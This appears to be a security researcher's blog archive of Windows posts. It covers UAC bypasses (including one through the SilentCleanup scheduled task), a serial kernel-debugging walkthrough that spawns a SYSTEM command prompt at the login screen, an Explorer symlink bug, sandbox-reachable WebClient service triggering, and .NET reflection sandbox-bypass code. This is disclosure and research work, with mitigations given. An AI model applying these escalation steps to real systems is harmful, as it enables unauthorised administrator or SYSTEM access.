Thursday, 25 May 2017

Reading Your Way Around UAC (Part 1)

I'm currently in the process of trying to do some improvements to the Chrome sandbox. As part of that I'm doing updates to my Sandbox Attack Surface Analysis Toolset as I want to measure whether what I'm doing to Chrome is having a tangible security benefit. Trouble is I keep walking into UAC bypasses while I'm there which is seriously messing up the flow. So in keeping with my previous blog post on a UAC bypass let me present another. As we go I'll show some demos using the latest version of my NtObjectManager Powershell module (so think of this blog as a plug for that as well, make sure you follow the install instructions on that link before running any of the scripts).

I don't recall every seeing this issue documented (but I'm sure someone can tell me if it has been), however MS clearly know, as we'll see in a later part. Bear in mind this demonstrates just how broken UAC is in its default configuration. UAC doesn't really help you much even if you prevent the auto-elevation as this technique works as long as there exists any elevated process in the same logon session. Let this be a PSA, one of many over the years, that split-token administrator in UAC just means MS get to annoy you with prompts unnecessarily but serves very little, if not zero security benefit.

Before I start I have to address/rant about the "fileless" moniker which is bandied around for UAC bypasses. My previous blog post said it was a fileless bypass, but I still had to write to the registry (which is backed by a file) and of course some sort of executable still needs to be running (which is backed at some point by the page file) and so on. Basically all a fileless bypass means is it doesn't rely on the old IFileOperation tricks to hijack a DLL. Doesn't mean that at no point would some file end on disk somewhere, I suppose it's more a DFIR kind of term. Anyway enough, on to technical content.

One Weird Design Decision

Oh to be a fly on the wall when Microsoft were designing UAC (or LUA as it was probably still known back then). Many different attack vectors were no doubt covered to reduce the chance of escalation from a normal user to administrator. For example Shatter Attacks (and general UI driving) was mitigated using UIPI. COM DLL planting was mitigated by making administrator processes only use HKLM for COM registrations (not especially successfully I might add). And abusing a user's resources were mitigated using Mandatory Integrity Labels to prevent write access from Low to High levels. 

Perhaps there was a super secure version of UAC developed at one point, but the trouble is it would have probably been unusable. So no doubt many of the security ideas got relaxed. One of particular interest is that a non-administrator user can query some, admittedly limited, process information about administrator processes in the same desktop. This has surprising implications as we'll see.

So how much access do normal applications get? We can answer that pretty easily by running the following PS script as a normal split-token admin user.

Import-Module NtObjectManager

# Start mmc.exe and ensure it elevates (not really necessary for mmc) Start-Process -Verb runas mmc.exe Use-NtObject($ps = Get-NtProcess -Name mmc.exe) { $ps | Format-Table -Property ProcessId, Name, GrantedAccess }

This should result in MMC elevating and the following printed to the PS console:

ProcessId Name GrantedAccess --------- ---- ------------- 17000 mmc.exe Terminate, QueryLimitedInformation, Synchronize

So it shows we've got 3 access rights, Terminate, QueryLimitedInformation and Synchronize. This kind of makes sense, after all it would be a pain if you couldn't kill processes on your desktop, or wait for them to finish, or get their name. It's at this point that the first UAC design decision comes into play, there exists a normal QueryInformation process access right, however there's a problem with using that access right, and that's down to the default Mandatory Label Policy (I'll refer to it just as IL Policy from now on) and how it's enforced on Processes.

The purpose of IL Policy is to specify which of the Generic Access Rights, Read, Write and Execute a low IL user can get on a resource. This is the maximum permitted access, the IL Policy doesn't itself grant any access rights. The user would still need to be granted the appropriate access rights in the DACL. So for example if the policy allows a lower IL process to get Read and Execute, but not Write (which is the default for most resources) then if the user asks for a Write access right the kernel access check will return Access Denied before even looking at the DACL. So let's look at the IL Policy and Generic Access Rights for a process object:

# Get current process' mandatory label $sacl = $(Get-NtProcess -Current).SecurityDescriptor.Sacl Write-Host "Policy is $([NtApiDotNet.MandatoryLabelPolicy]$sacl[0].Mask)" # Get process type's GENERIC_MAPPING $mapping = $(Get-NtType Process).GenericMapping Write-Host "Read: $([NtApiDotNet.ProcessAccessRights]$mapping.GenericRead)" Write-Host "Write: $([NtApiDotNet.ProcessAccessRights]$mapping.GenericWrite)" Write-Host "Execute: $([NtApiDotNet.ProcessAccessRights]$mapping.GenericExecute)"

Which results in the following output:

Policy is NoWriteUp, NoReadUp Read: VmRead, QueryInformation, ReadControl Write: CreateThread, VmOperation, VmWrite, DupHandle, *Snip* Execute: Terminate, QueryLimitedInformation, ReadControl, Synchronize

I've highlighted the important points. The default policy for Processes is to not allow a lower IL user to either Read or Write, so all they can have is Execute access which as we can see is what we have. However note that QueryInformation is a Read access right which would be blocked by the default IL Policy. The design decision was presumably thus, "We can't give read access, as we don't want lower IL users reading memory out of a privileged process. So let's create a new access right, QueryLimitedInformation which we'll assign to Execute and just transfer some information queries to that new right instead". Also worth noting on Vista and above you can't get QueryInformation access without also implicitly having QueryLimitedInformation so clearly MS thought enough to bodge that rather than anything else. (Thought for the reader: Why don't we get ReadControl access?)

Of course you still need to be able to have access in the DACL for those access, how come a privileged process gives these access at all? The default security of a process comes from the Default DACL inside the access token which is used as the primary token for the new process, let's dump the Default DACL using the following script inside a normal user PS console and an elevated PS console:

# Get process token. Use-NtObject($token = Get-NtToken -Primary) { $token.DefaultDalc | Format-Table @{Label="User";Expression={$_.Sid.Name}}, @{Label="Mask";Expression=
{[NtApiDotNet.GenericAccessRights]$_.Mask}} }

The output as a normal user:

User Mask ---- ---- domain\user GenericAll NT AUTHORITY\SYSTEM GenericAll NT AUTHORITY\LogonSessionId_0_295469990 GenericExecute, GenericRead

And again as the admin user:

User Mask ---- ---- BUILTIN\Administrators GenericAll NT AUTHORITY\SYSTEM GenericAll NT AUTHORITY\LogonSessionId_0_295469990 GenericExecute, GenericRead

Once again the important points are highlighted, while the admin DACL doesn't allow the normal user access there is this curious LogonSessionId user which gets Read and Execute access. It would seem likely therefore that this must be what's giving us Execute access (as Read would be filtered by IL Policy). We can prove this just by dumping what groups a normal user has in their token:

Use-NtObject($token = Get-NtToken -Primary) { $token.Groups | Where-Object {$_.Sid.Name.Contains("LogonSessionId")} | Format-List }

Name : NT AUTHORITY\LogonSessionId_0_295469990 Sid : S-1-5-5-0-295469990 Attributes : Mandatory, EnabledByDefault, Enabled, LogonId

Yup we have that group, and it's enabled. So that solves the mystery of why we get Execute access. This was a clear design decision on Microsoft's part to make it so a normal user could gain some level of access to an elevated process. Of course at this point you might be thinking so what? You can read some basic information from a process, how could being able to read be an issue? Well, let's see how dangerous this access is in Part 2.






Monday, 15 May 2017

Exploiting Environment Variables in Scheduled Tasks for UAC Bypass

The Windows Task Scheduler is a great place to go and find privilege escalations, it's typically abused to add SUID style capabilities to Windows in a nice easy to misunderstand package. It can execute programs as LocalSystem, it can auto-elevate applications for UAC, it can even host arbitrary COM objects. All in all it's a mess, which is why finding bugs in the scheduler itself or in the tasks isn't especially difficult. For example here's a few I've found before. This short blog is about a quick and dirty UAC bypass I discovered which works silently even with UAC is set to the highest prompt level and can be executed without dropping any files (other that a registry key) to disk.

Anyway I'm technically on a sabbatical from finding bugs in Microsoft products (best not ask why) so I'll keep this brief. However sometimes while I'm not looking you just sort of trip over a bug. I was poking around various scheduled tasks and noticed one which looked interesting, SilentCleanup. The reason this is interesting is it's a marked as auto-elevating (so will silently run code as UAC admin if the caller is a split-token administrator) and it can be manually started by the non-administrator user.

It turns out I'm not alone in noticing this is interesting, Matt Nelson already found a UAC bypass in this scheduled task but as far as can be determined it's already been fixed, so is there still a way of exploiting it? Let's dump some of the task's properties using Powershell to find out.


We can see the Principal property, which determines what account the task runs as and the Actions property which determines what to run. In the Principal property we can see the Group to run as is Authenticated Users which really means it will run as the logged on user starting the task. We also see the RunLevel is set to Highest which means the Task Scheduler will try and elevate the task to administrator without any prompting. Now look at the actions, it's specifying a path, but notice something interesting? It's using an environment variable as part of the path, and in UAC scenarios these can be influenced by a normal user by writing to the registry key HKEY_CURRENT_USER\Enviroment and specifying a REG_SZ value.

So stop beating around the bush, let's try and exploit it. I dropped a simple executable to c:\dummy\system32\cleanmgr.exe, set the windir environment variable to c:\dummy and started the scheduled task I immediately get administrator privileges. So let's automate the process, I'll use everyone's favourite language, BATCH as we can use the reg and schtasks commands to do all the work we need. Also as we don't want to drop a file to disk we can abuse the fact that the executable path isn't quoted by the Task Scheduler, meaning we can inject arbitrary command line arguments and just run a simple CMD shell.

The BATCH file first sets the windir environment variable to "cmd /K" with a following script which deletes the original windir enviroment variable then uses REM to comment the rest of the line out. Executing this on Windows 10 Anniversary Edition and above as a split token admin will get you a shell running as an administrator. I've not tested it on any earlier versions of Windows so YMMV. I didn't send this to MSRC but through a friend confirmed that it should already be fixed in a coming version of RS3, so it really looks like MS are serious about trying to lock UAC back down, at least as far as it can be. If you want to mitigate now you should be able to reconfigure the task to not use environment variables using the following Powershell script run as administrator (doing this using the UAC bypass is left as an exercise for reader).

If you want to find other potential candidates the following Powershell script will find all tasks with
executable actions which will auto elevate. On my system there are 4 separate tasks, but only one (the SilentCleanup task) can be executed as a normal user, so the rest are not exploitable. Good thing I guess.

Sunday, 12 March 2017

Getting Code Execution on Windows by Abusing Default Kernel Debugging Setting

TL;DR; This blog post comes from an on-site pentest I did a long time ago. While waiting for some other testing to complete the customer was interested to see if I could get code execution on one of their Windows workstations (the reasons for this request are unimportant). Needless to say I had physical access to the workstation so it should be pretty simple thing to achieve. The solution I came up with abused the default Windows Kernel Debugging settings to get arbitrary code execution without needing to permanently modify the system configuration or open the case.

The advantage of this technique is it requires a minimum amount of kit which you could bring with you on a job, just in case. However it does require that the target has an enabled COM1 serial port which isn't necessarily guaranteed, and the machine cannot be using TPM enforced Bitlocker or similar.

And before anyone complains I'm fully aware that physical access typically means that you've already won, this is why I'm not claiming this is some sort of world ending vulnerability against Windows machines. It's not, but it's a common default configuration which administrators probably don't know to change. It also looks pretty awesome if the stars line up, let's face it, from a customer's perspective it makes you look like some bad-ass hacker. Bonus points for using the command line CDB instead of WinDBG ;-)

And just in case you misunderstand me:

THIS IS NOT A VULNERABILITY!!!!

With that said, let's look at it in more detail.

The Scenario

You find yourself in a room filled with Windows workstations (hopefully legally) and you're tasked with getting code execution on one of them. Your immediate thoughts to achieve this might be one or more of the following:

  • Change boot settings to boot off a CD/USB device and modify HDD
  • Crack open the case, pull the HDD, modify contents and put it back in.
  • Abuse Firewire DMA access to read/write memory.
  • Abuse the network connection coming out the back of the machine, either to try and PXE boot or MitM network/domain traffic on the machine.
Looking at the workstation though booting up you notice that the boot order is configured to boot off the HDD first but a BIOS password prevents you circumventing it (assuming no bug in the BIOS). The case actually has a physical lock on it, probably not something you couldn't pick or crowbar but the customer probably wouldn't be amused if I left the workstation in bits. And finally the workstation didn't have Firewire or any external PCI bus to speak of to perform DMA attacks. I didn't test the network connection, but it might not be easy to PXE boot or MitM'ing the traffic might encounter IPSec.

What these workstations did have though was a classic 9 pin serial port. This got me thinking, I knew that by default Windows configured kernel debugging on COM1, however kernel debugging isn't enabled. Was there a way of enabling kernel debugging on a system without having administrator login rights? Turns out that yes there is, so lets see how you could exploit this scenario.

Coming Prepared


Before you can exploit this feature you'll need a few things to hand:
  • A serial port on your test machine (this is pretty obvious of course). A USB to Serial is sufficient with the right drivers
  • A local installation of Windows. This is more for simplicity, perhaps there's tools to do Windows Kernel Debugging available these days for Linux/macOS which support everything you need but I doubt it.
  • Assuming you're using Windows an installation of Debugging Tools for Windows, specifically WinDBG.
  • A Null Modem cable, you'll need this to connect your test machine's serial port to the workstation serial port.
Now on your test machine ensure everything is installed and setup WinDBG to use your local COM port for kernel debugging. Using kernel debugging just requires you to open WinDBG then from the menu select File -> Kernel Debug or press CTRL + K. You should see a dialog which looks like the following:



Fill in the Port field to match the COM port your USB to Serial adapter was assigned. You shouldn't need to change the Baud Rate as the Windows default is for 115200. You can verify this on another system using an administrator command prompt and running the command bcdedit /dbgsettings. 



You could also do this via the following command line if you're so inclined: windbg -k com:port=COMX,baud=115200

Enabling Kernel Debugging on Windows 7

Enabling kernel debugging on Windows 7 is really easy (this should also work on Vista, but really who uses that anymore?). Reboot the workstation and after the BIOS POST screen has completed mash (the official technical term) the F8 key. If successful you'll be greeted with the following screen:


Scroll down with the cursor keys, select Debugging Mode and hit Enter. Windows should start to boot. Hopefully if you look at WinDBG you should now see the boot information being displayed (full disclosure, I'm doing this using a VM ;-)).



If this doesn't happen it's possible that the COM port's disabled, the kernel debugging configuration has changed or you've got a terrible USB to Serial adapter.

Enabling Kernel Debugging on Windows 8-10

So moving on to more modern versions of Windows, you can try the F8 trick again, but don't be shocked when it does NOTHING. This was an intentional change Microsoft has made to boot process since Windows 8. With the prevalence of SSDs and various changes to Windows' boot process there's no longer enough time (in their opinion) for mashing the F8 key. Instead, while the option to enable kernel debugging is still present you need to configure it through the fancy UEFI alike menus. 

This presents us with a problem. We're assuming we don't have access to the BIOS (through say a password) so it would seem we couldn't access the UEFI configuration options and the main way you can configure this is going through the Settings App (at least on Windows 10) and choose to restart into Advanced Startup mode or you can pass the /r /o options to shutdown in the command prompt.


None of these options are going to help us. Fortunately there's a "documented' alternative way, if you hold the Shift key when selecting Restart from the start menu it will also reboot into the advanced startup options mode. This doesn't immediately sound like it's going to help you any more than the other options if you've got to login, fortunately on the login screen there's an option to reboot the workstation, and it just so happens that the Shift trick also works here. So go to the power options (on the lower right corner of the login screen on Windows 10), hold left Shift and click Restart. If successful you'll be greeted with the following screen.


 Click the highlighted "Troubleshoot" and you'll get to a new screen.


From here select "Advanced options", going to the *sigh* next screen:


At this screen you'll want to click "Startup Settings" which will bring you the following screen. You might be inclined to think you could click "Command Prompt" to get a system command prompt but that's going to require a password for a local administrator user anyway, which if you've got already you don't need to do this. Also I'm not saying there's no tricks you can't play with recovery mode etc, I'm showing you this just for giggles  :-)


After hitting "Restart" the workstation will reboot and you should be presented with the following:


Finally, you can hit F1 to enable kernel debugging. Phew... bring back F8. If all went according to plan you should see the boot messages again.


Getting Code Execution

You've now got a kernel debugger attached to the machine, the final step is to bypass the login screen. One common trick when using Firewire DMA attacks is to search for a particular pattern in memory which corresponds to LSASS's password check and kill it. Now any login password will work, this is fine but not very sneaky (for example you'd end up with event log entries showing the login). Plus you'd need to know an appropriate user account, it's possible the local Administrator account has been renamed.

Instead we'll do a more targeted attack which is possible because we've got the kernel's view of the system available, not a physical memory view. We'll abuse the fact that the login screen has a button for launching Accessibility tools, this will execute a new process on the login desktop as SYSTEM. We can hijack this process creation to spawn a command prompt and do whatever we like.



First things first we'll want to configure symbols for the machine we're trying to attack. Without symbols we can't enumerate the necessary kernel structures to find the bits of the system to attack. The simplest way to ensure symbols are configured correctly is to type the commands, !symfix+ then !reload into the debugger command window. Now to test issue the command !process 0 0 winlogon.exe which will find the process which is responsible for displaying the login window. If successful it should look something like the following:



The highlighted value is the kernel address of the EPROCESS structure. Copy that value value now to get an "Interactive" debugging session for that process using the command .process /i EPROCESS. Type g, then Enter (or hit F5) and you should see the following:



Now with this interactive session we can enumerate the user modules and load their symbols. Run the command !reload -user to do that. Then we can set a breakpoint on CreateProcessInternalW, which is what will be run whenever a new process is about to be created. Where this function is depends on the Windows version, on Windows 7 it's in the kernel32 DLL, on Windows 8+ it's in kernelbase DLL. So set the breakpoint using bp MODULE!CreateProcessInternalW replacing MODULE with the name appropriate for your system.

With the breakpoint set, click the Ease of Access button on the login screen and hopefully the breakpoint should hit. Now just to be sure issue the commands r and k to dump the current registers and show a back trace. It should look something like the following:


We can see in the stack trace that we've got calls to things like WlAccessibilityStartShortcutTool which seem to be related to accessibility. Now CreateProcessInternalW takes many parameters, but the only one we're really interested in is the third parameter, which is a pointer a NUL terminated command line string. We can modify this string to instead refer to the command prompt and we should get out desired code execution. First just to be sure we'll dump the string using the dU command, for x64 pass dU r8 (as the third parameter is stored in the r8 register), for x86 issue dU poi(@esp+c) (on 32 bit all parameters are passed on the stack). Hopefully you'll see the following:


So WinLogon is trying to create an instance of utilman.exe, that's good. Now this string must be writable (there's a dumb behaviour of CreateProcess that if it's not you'll get a crash) so we can just overwrite it. Issue the command ezu r8 "cmd" or ezu poi(@esp+c) "cmd" depending on your bitness and then type g and enter to continue. Bathe in your awesomeness.


Downsides

So there are a number of downsides to this technique:
  • The workstation MUST have a serial port on it, which isn't a given at least these days, and it must be configured as COM1
  • The workstation must be rebooted, this means that you can't get access to any logged on user credentials or things left in memory. Another issue with this is if the workstation has a boot password you might not be able to reboot it anyway.
  • The configuration of the kernel debugging must be the default.
  • In the prescence of TPM enforced Bitlocker you shouldn't be able to change the debugger configuration without also invalidating the boot measurement meaning Bitlocker won't unlock the drive.
Still in the end the setup costs are so low, it wouldn't take much to carry a USB to Serial adapter and a Null Modem cable in your travel bag if you're going on site somewhere. 

Mitigations

It's all very well and good that you can do this, but is there anyway to prevent it? Well of course as many will point out if you've already got physical access it's Game Over Man (R.I.P. Bill) but there are some configuration changes you can make to remove this attack vector:

  • Change the default debugging settings to Local kernel debugging. This is a mode which means only a local debugger running as administrator can debug the kernel (and debugging must also be on). You can change it at an administrator command prompt with the command bcdedit /dbgsettings LOCAL. You could almost certainly automate this across your estate with a login script or GPO option.
  • Don't buy Workstations with serial ports. Sounds dumb, and you probably have little choice but don't get things on your purchased devices which serve no useful purpose. Presumably some vendors still provide a configuration option for this.
  • If you do have serial ports disable them in the BIOS or, if you can't disable them outright change the default I/O port from 0x3F8. Legacy COM ports are not plug and play, Windows will use an explicit I/O port to talk to COM1, if your COM port isn't configured as COM1 Windows can't use it. This is also important if you've installed aftermarket COM port cards, while they tend not to be configured as COM1 they _could_ be.
  • Finally use Bitlocker with a TPM, this is a good idea regardless as it would also block someone being able to pull the HDD out and modify it offline (or just up and stealing the thing for the information on the disk). Bitlocker + TPM would prevent someone enabling debugging on a system without knowing the Bitlocker recovery key. At least on Windows 8+ entering the System Settings option requires changing the boot configuration temporarily, which will cause the TPM boot measurement to fail. I've not tested this on Windows 7 though, hitting F8 might not change the boot measurement as I believe that menu is in the winload.exe boot process, at that point Bitlocker's key has already been unsealed. If anyone has a Windows 7 machine with Bitlocker and TPM let me know the result of testing that :-)
Another interesting thing is the latest version of Windows 10 available when I'm writing this (1607, Anniversary Edition) now configures kernel debugging to Local only by default. However it's possible this isn't changed during upgrades so you'd still want to take a look.

Conclusions

So this is a fun, but not particularly serious issue if someone's got physical access to your machine and you've covered a number of the common attack vectors (like HDD access, BIOS, Firewire). Good advice is physical access a potential attack vector for external but also internal threats and it pays to do everything you can to lock your estate down. You should also consider deploying Bitlocker even if they device isn't portable, it makes it more difficult to compromise a workstation through logical attacks on the boot process and also makes it harder to someone to extract sensitive data from a stolen machine.

Saturday, 20 February 2016

Tracking Down the Root Cause of a Windows File Handling Bug

This blog post is about a bug in the Windows Explorer shell (useless from a security perspective I believe) that I thought I'd document. I'll explain the bug then go through how I tracked down the code responsible for the bug. Hopefully it serves as a brief tutorial on how you'd go about doing the same thing for other issues.

The Bug

The Windows Explorer shell has supported the concept of Shortcut files for as long as it's been around. These are your traditional LNK files. The underlying Windows operating system has no concept of these as being shortcuts to other files, it's all treated specially by Explorer. 

Since Vista the shell has supported another link format, NTFS symbolic links. You might think I'm slightly crazy at this point, surely symbolic links are just treated as an other file which would just happen to point to another file? While that would make more sense it seems that the developers in Explorer really did implement special support, and no only that they got it wrong as we'll see with this bug.

NTFS Symbolic Links use the Reparse Point feature of NTFS to change a file or directory into a symbolic link which the kernel will follow when opening the file. Under the hood the data structure set in the Reparse Point looks like the following:

typedef struct _REPARSE_DATA_BUFFER { ULONG ReparseTag; USHORT ReparseDataLength; USHORT Reserved; USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; ULONG Flags; WCHAR PathBuffer[1]; } REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;


This is a variable length structure and contains two strings, the Substitute Name and the Print Name. Why two names? Well the first the native NT path which represents the target of the symbolic link, this will be something like \??\C:\TargetFile. While the Print Name is normally set to what the user "thinks" the path is, so in this case C:\TargetFile. The rationale behind this is the NT name is ugly and somewhat unexpected for a user so if a program has to show the target the Print Name shows what the user might expect. However there's no requirement for these two to match in anyway. We can test this out using my Symbolic Link Testing Tools (available on Github here). The CreateNtfsSymbolicLink tool allows you to specify an arbitrary Print Name value (which the built-in MKLINK tool does not). Let's try it out (note you need to be an administrator):


Nothing too surprising, both links point to cmd.exe, but for the second one I've changed the Print Name to point to calc.exe instead. You can see the Print Names by just doing a directory listing. If you execute these files from the shell you'll find they both run cmd.exe as shown in the screenshot.

Now let's look at these files in the Explorer shell:

Hopefully you can immediately see the problem? And it's not just the icons, if you double click in Explorer link1.exe you get cmd.exe, link2.exe instead runs calc.exe. Whoops. It's pretty clear that the shell must be explicitly handling NTFS Symbolic Links as if they are Shortcut files and then picking the Print Name over the actual target file in the link. 

This feature does have some nice properties, for example the symbolic link can have any extension you like, so your link can have a .pdf extension but double clicking it will run cmd.exe (regardless of the extension you use). But then you could do that anyway with a LNK file as Explorer removes the .lnk extension. It might have been useful to attack a sandbox which calls ShellExecute on a file, but first checks the file name extension for allowed files. However as you need Administrator privileges to use this it's not especially useful in practice.

Tracking Down the Root Cause

Okay so we can guess what it's doing, at least let's track down the buggy code just to confirm it. We'd probably want to do this if we were sending an actual bug report to Microsoft (which I'm not of course, but they're more than welcome to fix a 9 year old bug if they like). Whenever I encounter a file based issue my go to is Process Monitor to find out the code responsible for handling the file contents.

To aid in this we need to configure Process Monitor to support symbol loading which you can do through the menu Options > Configure Symbols. If you go there you'll see the following dialog:

You'd assume that everything is already set-up for you, but if you try and get a stack trace from a monitored event you'll be disappointed. The version of the dbghelp library which ships with Windows (even Windows 10) doesn't support pulling symbols from a remote symbol server, so it's only useful for applications you've compiled yourself. We can remedy that though by installing WinDBG from the SDK or WDK and using it's copy of dbghelp.dll. If you've installed the Windows 10 SDK then you'll find it under %PROGRAMFILES(x86)%\Windows Kits\10\Debuggers\x64 for 64 bit platforms. Select the DLL and you should be good to go.

So we can set a filter on link2.exe and see what's processing it, we're primarily looking for an event doing a FileSystemControl operation to read the Reparse Point data with FSCTL_GET_REPARSE_POINT. 


Okay good the expected event is there, now if we open that event we can look at the stack tab see the culprit.


Well CShellLink::_LoadFromSymLink sounds very much like the culprit we're looking for, it's the last call before going into DeviceIoControl which ends up reading the Reparse Point information. Let's finally confirm by disassembling windows.storage.dll it in your application of choice. If you use IDA Pro it should try and load the public symbol file using the DIA library. We end up with something which looks like:

HRESULT CShellLink::_LoadFromSymLink(LPCWSTR pszInputPath) { PREPARSE_DATA_BUFFER ReparseBuffer = // Allocate reparse buffer HANDLE hFile = CreateFileW(pszInputPath, FILE_READ_EA, ..., FILE_FLAG_OPEN_REPARSE_POINT); size_t PathLength = 0; offset_t PathOffset = NULL; WCHAR pszPath[MAX_PATH]; if (hFile != INVALID_HANDLE_VALUE) { DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, 0, 0, ReparseBuffer, ...); if (ReparseBuffer->ReparseTag == IO_REPARSE_TAG_SYMLINK) { PathLength = ReparseBuffer->PrintNameLength >> 1; PathOffset = (ReparseBuffer->PrintNameOffset >> 1) + 10; } else if (ReparseBuffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) { PathLength = ReparseBuffer->PrintNameLength >> 1; PathOffset = (ReparseBuffer->PrintNameOffset >> 1) + 8; } else { return E_FAIL; } StringCchCopyN(pszPath, MAX_PATH, (WCHAR*)ReparseBuffer + PathOffset, PathLength); _SetSimplePIDL(&pszPath); _ResetDirty(); } return S_OK; }

We can see the bug here pretty clearly, it's using the PrintName value. I guess it might be intentional as you can see this code also supports normal mount points and has the same issue. Fortunately for mount points there seems to be no way of directly tricking Explorer to parse the directory as anything else, but this might only trick another application which uses the ShellLink CoClass directly.

Anyway I hope this is useful as a very brief tutorial on how to find where vulnerable code lies in Windows, at least when dealing with files. It's a shame that this bug wasn't more serious, but fortunately the fact that Symbolic Links need administrator permissions might have worked in Microsoft's favour. 

Thursday, 26 March 2015

Starting WebClient Service Programmatically

I've been asked how you can start the WebClient service on Windows 7+ programmatically, specifically in relation to this issue. If you try and start it manually (say using the sc tool) as a normal user you'll find you get access denied. However the service is actually registered with a service trigger, so it'll be started automatically in response to a specific system event.

We can dump the trigger information for the service using the command sc qtriggerinfo WebClient which gives us:
START SERVICE
   CUSTOM       : 22b6d684-fa63-4578-87c9-effcbe6643c7 [ETW PROVIDER UUID]
This indicates that the service trigger is a custom ETW event trigger with the specified provider UUID. So all we need to do is write an event using that trigger as a normal user and we'll get the WebClient service to start. So something like:
bool StartWebClientService()
{
    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
        { 0x22B6D684, 0xFA63, 0x4578, 
        { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
    REGHANDLE Handle;
    bool success = false;

    if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
        nullptr, nullptr, &Handle) == ERROR_SUCCESS)
    {
        EVENT_DESCRIPTOR desc;

        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);

        success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;

        EventUnregister(Handle);
    }

    return success;
}
I haven't tested this from all locations but you can almost certainly cause this trigger to run even from a heavily restrictive sandbox such as Chrome or EPM.

Monday, 15 December 2014

Old .NET Vulnerability #2+3: Reflection Delegate Binding Bypass (CVE-2012-1895 and CVE-2013-3132)

Reflection is a very useful feature of frameworks such as .NET and Java, but it has interesting security issues when you're trying to sandbox code. One which is well known is how much the framework will try to emulate the normal caller visibility scoping for reflection APIs which would exist if the code was compiled. Perhaps that needs a bit of explanation, imagine you have a C# class which looks something like the following:
public class UnsafeMemory {
   IntPtr _ptr;
   ushort _size;

   public UnsafeMemory(ushort size) {
       _ptr = Marshal.AllocCoTaskMem(size);
       _size = size;
   }

   public byte ReadByte(ushort ofs) {
       if (ofs < _size) {
             return Marshal.ReadByte(_ptr, ofs);
       }

       return 0;
   }
}

This has a sensitive field, a pointer to a locally allocated memory structure which we don't want people to change. The built-in accessors don't allow you to specify anything other than size (which is also sensitive, but slightly less so). Still reflection allows us to change this from a fully trusted application easily enough:
UnsafeMemory mem = new UnsafeMemory(1000);
FieldInfo fi = typeof(UnsafeMemory).GetField("_ptr", 
                  BindingFlags.NonPublic | BindingFlags.Instance);

fi.SetValue(mem, new IntPtr(0x12345678));

As we've set the pointer, we can now read and write to arbitrary memory addresses. Flushed with success we try this in our partially trusted application and we get:
System.FieldAccessException: Attempt by method 
             ReflectionTests.Program.Main()' to 
             access field 'ReflectionTests.UnsafeMemory._ptr' failed.
   at System.Reflection.RtFieldInfo.PerformVisibilityCheckOnField()
   at System.Reflection.RtFieldInfo.InternalSetValue()
   at System.Reflection.RtFieldInfo.SetValue()
   at System.Reflection.FieldInfo.SetValue()
   at ReflectionTests.Program.Main()

Well that sucks! PerformVisibilityCheckOnField is implemented by the CLR so we can't easily look at it's implementation (although it's in the SSCLI). But I think we can guess what the method is doing. The CLR is checking who's calling the SetValue method and verifying the visibility rules for the field. As the field is private only the declaring class should be able to set it via reflection, we can verify that easily enough. Let's modify the class slightly to add a new method:
public static void TestReflection(FieldInfo fi, object @this, object value) {
    fi.SetValue(@this, value);
}

If we call that method from our partial trust code it succeeds, thus confirming our assumptions about the visibility check. This can be extended to any reflection artefact, properties, methods, constructors, events etc. Still the example method is hardly going to be a very common coding pattern, so instead let's think more generally about visibility in the .NET framework to see if we can find a case where we can easily bypass the visibility.  There are actually many different visibility levels in the CLR which can be summarised as:
Name in CLR Name in C# Visibility
Public public Anybody
Family protected Current class and derived classes
FamilyAndAssembly No Equivalent Current class or derived classes in same assembly
FamilyOrAssembly protected internal Current class and derived classes or assembly
Assembly internal Current assembly
Private private Current class

Of most interest is Assembly (or internal in C#) as you only have to take a quick peek at something like mscorlib to see that this visibility is used a lot to protect sensitive classes and methods by localizing them to the current assembly. The Assembly visibility rule means that any class in the same assembly can access the field or method. When dealing with something like mscorlib, which has at least 900 public classes you can imagine that would give you something you could exploit. Turns out a good one to look at is the handling of delegates, if only for one reason, you can get them to call a method with the caller set to a something in mscorlib, by using asynchronous dispatch.

For example if we run the following code we can get the calling method from the delegate, this correctly removes methods which the CLR considers to be part of the delegate dispatch.
Func<MethodBase> f = new Func<MethodBase>(() => 
              new StackTrace().GetFrame(1).GetMethod());
MethodBase method = f();

Console.WriteLine("{0}::{1}", method.DeclaringType.FullName, method.Name);

OUTPUT: ReflectionTests.Program::Main

Not really surprising, the caller was our Main method. Okay now what if we change that to using asynchronous dispatch, using BeginInvoke and EndInvoke?
Func<MethodBase> f = new Func<MethodBase>(() => 
      new StackTrace().GetFrame(1).GetMethod());

IAsyncResult ar = f.BeginInvoke(null, null);
MethodBase method = f.EndInvoke(ar);

Console.WriteLine("{0}::{1}", method.DeclaringType.FullName, method.Name);

OUTPUT: System.Runtime.Remoting.Messaging.StackBuilderSink::_PrivateProcessMessage

How interesting, the code thinks the caller's an internal method to mscorlib, hopefully you can see where I'm going with this? Okay let's put it all together, lets create a delegate pointing to FieldInfo.SetValue, call it via asynchronous dispatch and it's time to party.
Action<object, object> set_info = new Action<object,object>(fi.SetValue);

IAsyncResult ar = set_info.BeginInvoke(mem, new IntPtr(0x12345678), null, null);
set_info.EndInvoke(ar);

This works as expected with full trust but running it under partial trust we get the dreaded SecurityException
System.Security.SecurityException: Request for the permission 
       of type 'System.Security.Permissions.ReflectionPermission' failed.
   at System.Delegate.DelegateConstruct()
   at ReflectionTests.Program.Main()

So why is this the case. Well the developers of .NET weren't stupid, they realised being able to call a reflection API using another reflection API (which delegates effectively are) is a security hole waiting to happen. So if you try and bind a delegate to certain set of methods it will demand ReflectionPermission first to check if you're allowed to do it. Still while I said they weren't stupid, I didn't mean they don't mistakes as this is the crux of the two vulnerabilities I started writing this blog post about :-)

The problem comes down to this, what methods you can or cannot bind to are just a black-list. Each method is allocated a set of invocation flags represented by the System.Reflection.INVOCATION_FLAGS enumeration. Perhaps the most important one from our perspective is the INVOCATION_FLAGS_FIELD_SPECIAL_CAST flag. This is a bit strangely named, but what this indicates is the method should be double checked if it's ever invoked through a reflection API. If we look at FieldInfo.SetValue we'll find it has the flag set.

